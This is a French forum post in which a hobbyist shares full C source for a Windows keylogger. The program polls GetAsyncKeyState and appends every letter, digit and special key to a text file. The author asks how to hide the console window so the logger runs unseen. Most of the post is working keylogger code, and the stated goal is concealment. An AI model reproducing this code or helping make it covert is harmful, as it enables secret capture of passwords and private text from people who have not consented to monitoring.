Bonjours a tous,
Je cherche a dissimuler ma console.
Voici-ci joint le code source de mon programme. Il enregistre toutes les touches en majuscules et minuscule + chiffres.
Je l'ai fais pour m'amuser un peu.
Voici le problème. Il marche très bien quand la console est visible. Je peu écrire n'importe ou tout marche bien.
Mais dés que je cherche a la cacher, le programme tourne toujours, mais rien ne s'écrit dans le fichier.
J'ai essayé pleins de trucs différents mais rien n'y fais... Et sa fais des semaines que je cherche. Je n'ai aucune piste.
Je suis avec l'IDE, Code::Blocks.
Voici donc le code.
#include <stdio.h>
#include <windows.h>
#include <winuser.h>
int main()
{
char file[MAX_PATH];
GetWindowsDirectory(file,sizeof(file));
strcat(file,"//keys.txt" );
FILE *fichier;
fichier = fopen("essay.txt","a+" );
while(1)
{
Sleep(10);
// Gestion des touches spéciales
if(GetAsyncKeyState(32) == -32767) fputs(" ",fichier);
if(GetAsyncKeyState(VK_TAB) == -32767) fputs("[TAB]",fichier);
if(GetAsyncKeyState(27) == -32767) fputs("[ECHAPE]",fichier);
if(GetAsyncKeyState(VK_RETURN) == -32767) fputs("\n",fichier);
if(GetAsyncKeyState(VK_SHIFT) == -32767) fputs("[SHIFT]",fichier);
if(GetAsyncKeyState(VK_DELETE) == -32767) fputs("[Suppr]",fichier);
if(GetAsyncKeyState(VK_CONTROL) == -32767) fputs("[CTRL]",fichier);
if(GetAsyncKeyState(VK_MENU) == -32767) fputs("[ALT]",fichier);
if(GetAsyncKeyState(VK_BACK) == -32767) fputs("[del]", fichier);
// Gestion des lettres en minuscule.
if(GetAsyncKeyState(65) == -32767) fputc('a', fichier);
if(GetAsyncKeyState(66) == -32767) fputc('b', fichier);
if(GetAsyncKeyState(67) == -32767) fputc('c', fichier);
if(GetAsyncKeyState(68) == -32767) fputc('d', fichier);
if(GetAsyncKeyState(69) == -32767) fputc('e', fichier);
if(GetAsyncKeyState(70) == -32767) fputc('f', fichier);
if(GetAsyncKeyState(71) == -32767) fputc('g', fichier);
if(GetAsyncKeyState(72) == -32767) fputc('h', fichier);
if(GetAsyncKeyState(73) == -32767) fputc('i', fichier);
if(GetAsyncKeyState(74) == -32767) fputc('j', fichier);
if(GetAsyncKeyState(75) == -32767) fputc('k', fichier);
if(GetAsyncKeyState(76) == -32767) fputc('l', fichier);
if(GetAsyncKeyState(77) == -32767) fputc('m', fichier);
if(GetAsyncKeyState(78) == -32767) fputc('n', fichier);
if(GetAsyncKeyState(79) == -32767) fputc('o', fichier);
if(GetAsyncKeyState(80) == -32767) fputc('p', fichier);
if(GetAsyncKeyState(81) == -32767) fputc('q', fichier);
if(GetAsyncKeyState(82) == -32767) fputc('r', fichier);
if(GetAsyncKeyState(83) == -32767) fputc('s', fichier);
if(GetAsyncKeyState(84) == -32767) fputc('t', fichier);
if(GetAsyncKeyState(85) == -32767) fputc('u', fichier);
if(GetAsyncKeyState(86) == -32767) fputc('v', fichier);
if(GetAsyncKeyState(87) == -32767) fputc('w', fichier);
if(GetAsyncKeyState(88) == -32767) fputc('x', fichier);
if(GetAsyncKeyState(89) == -32767) fputc('y', fichier);
if(GetAsyncKeyState(90) == -32767) fputc('z', fichier);
// Gestion des chiffres du clavier numerique.
if(GetAsyncKeyState(VK_NUMPAD0) == -32767) fputc('0', fichier);
if(GetAsyncKeyState(VK_NUMPAD1) == -32767) fputc('1', fichier);
if(GetAsyncKeyState(VK_NUMPAD2) == -32767) fputc('2', fichier);
if(GetAsyncKeyState(VK_NUMPAD3) == -32767) fputc('3', fichier);
if(GetAsyncKeyState(VK_NUMPAD4) == -32767) fputc('4', fichier);
if(GetAsyncKeyState(VK_NUMPAD5) == -32767) fputc('5', fichier);
if(GetAsyncKeyState(VK_NUMPAD6) == -32767) fputc('6', fichier);
if(GetAsyncKeyState(VK_NUMPAD7) == -32767) fputc('7', fichier);
if(GetAsyncKeyState(VK_NUMPAD8) == -32767) fputc('8', fichier);
if(GetAsyncKeyState(VK_NUMPAD9) == -32767) fputc('9', fichier);
// Gestion des symboles au dessus des lettres.
if(GetAsyncKeyState(48) == -32767) fputc('à', fichier);
if(GetAsyncKeyState(49) == -32767) fputc('&', fichier);
if(GetAsyncKeyState(50) == -32767) fputc('é', fichier);
if(GetAsyncKeyState(51) == -32767) fputc('"', fichier);
if(GetAsyncKeyState(52) == -32767) fputs("'", fichier);
if(GetAsyncKeyState(53) == -32767) fputc('(', fichier);
if(GetAsyncKeyState(54) == -32767) fputc('-', fichier);
if(GetAsyncKeyState(55) == -32767) fputc('è', fichier);
if(GetAsyncKeyState(56) == -32767) fputc('_', fichier);
if(GetAsyncKeyState(57) == -32767) fputc('ç', fichier);
// Si la touche Maj est enfoncée.
if(GetAsyncKeyState(VK_CAPITAL) == -32767)
{
fputs("[MAJ]", fichier);
int i = 1;
while(i)
{
Sleep(10);
// Codage des touches en majuscule
if(GetAsyncKeyState(65) == -32767) fputc('A', fichier);
if(GetAsyncKeyState(66) == -32767) fputc('B', fichier);
if(GetAsyncKeyState(67) == -32767) fputc('C', fichier);
if(GetAsyncKeyState(68) == -32767) fputc('D', fichier);
if(GetAsyncKeyState(69) == -32767) fputc('E', fichier);
if(GetAsyncKeyState(70) == -32767) fputc('F', fichier);
if(GetAsyncKeyState(71) == -32767) fputc('G', fichier);
if(GetAsyncKeyState(72) == -32767) fputc('H', fichier);
if(GetAsyncKeyState(73) == -32767) fputc('I', fichier);
if(GetAsyncKeyState(74) == -32767) fputc('J', fichier);
if(GetAsyncKeyState(75) == -32767) fputc('K', fichier);
if(GetAsyncKeyState(76) == -32767) fputc('L', fichier);
if(GetAsyncKeyState(77) == -32767) fputc('M', fichier);
if(GetAsyncKeyState(78) == -32767) fputc('N', fichier);
if(GetAsyncKeyState(79) == -32767) fputc('O', fichier);
if(GetAsyncKeyState(80) == -32767) fputc('P', fichier);
if(GetAsyncKeyState(81) == -32767) fputc('Q', fichier);
if(GetAsyncKeyState(82) == -32767) fputc('R', fichier);
if(GetAsyncKeyState(83) == -32767) fputc('S', fichier);
if(GetAsyncKeyState(84) == -32767) fputc('T', fichier);
if(GetAsyncKeyState(85) == -32767) fputc('U', fichier);
if(GetAsyncKeyState(86) == -32767) fputc('V', fichier);
if(GetAsyncKeyState(87) == -32767) fputc('W', fichier);
if(GetAsyncKeyState(88) == -32767) fputc('X', fichier);
if(GetAsyncKeyState(89) == -32767) fputc('Y', fichier);
if(GetAsyncKeyState(90) == -32767) fputc('Z', fichier);
// Gestion des chiffres au dessus des lettres.
if(GetAsyncKeyState(48) == -32767) fputc('0', fichier);
if(GetAsyncKeyState(49) == -32767) fputc('1', fichier);
if(GetAsyncKeyState(50) == -32767) fputc('2', fichier);
if(GetAsyncKeyState(51) == -32767) fputc('3', fichier);
if(GetAsyncKeyState(52) == -32767) fputc('4', fichier);
if(GetAsyncKeyState(53) == -32767) fputc('5', fichier);
if(GetAsyncKeyState(54) == -32767) fputc('6', fichier);
if(GetAsyncKeyState(55) == -32767) fputc('7', fichier);
if(GetAsyncKeyState(56) == -32767) fputc('8', fichier);
if(GetAsyncKeyState(57) == -32767) fputc('9', fichier);
// Gestion des chiffres du clavier numerique.
if(GetAsyncKeyState(VK_NUMPAD0) == -32767) fputc('0', fichier);
if(GetAsyncKeyState(VK_NUMPAD1) == -32767) fputc('1', fichier);
if(GetAsyncKeyState(VK_NUMPAD2) == -32767) fputc('2', fichier);
if(GetAsyncKeyState(VK_NUMPAD3) == -32767) fputc('3', fichier);
if(GetAsyncKeyState(VK_NUMPAD4) == -32767) fputc('4', fichier);
if(GetAsyncKeyState(VK_NUMPAD5) == -32767) fputc('5', fichier);
if(GetAsyncKeyState(VK_NUMPAD6) == -32767) fputc('6', fichier);
if(GetAsyncKeyState(VK_NUMPAD7) == -32767) fputc('7', fichier);
if(GetAsyncKeyState(VK_NUMPAD8) == -32767) fputc('8', fichier);
if(GetAsyncKeyState(VK_NUMPAD9) == -32767) fputc('9', fichier);
// Gestion des touches spéciales
if(GetAsyncKeyState(32) == -32767) fputs(" ",fichier);
if(GetAsyncKeyState(VK_TAB) == -32767) fputs("[TAB]",fichier);
if(GetAsyncKeyState(27) == -32767) fputs("[ECHAPE]",fichier);
if(GetAsyncKeyState(VK_RETURN) == -32767) fputs("\n",fichier);
if(GetAsyncKeyState(VK_SHIFT) == -32767) fputs("[SHIFT]",fichier);
if(GetAsyncKeyState(VK_DELETE) == -32767) fputs("[Suppr]",fichier);
if(GetAsyncKeyState(VK_CONTROL) == -32767) fputs("[CTRL]",fichier);
if(GetAsyncKeyState(VK_MENU) == -32767) fputs("[ALT]",fichier);
//Si la touche Maj est repressée, arret de la configuration Majuscule.
if(GetAsyncKeyState(VK_CAPITAL) == -32767)
{
fputs("[MAJ]", fichier);
i=0;
}
}
}
}
return 0;
}
Connaissez vous une méthode pour cacher la fenêtre?
Est-ce un problème au niveau des propriétés des fonctions utilisées?
Merci.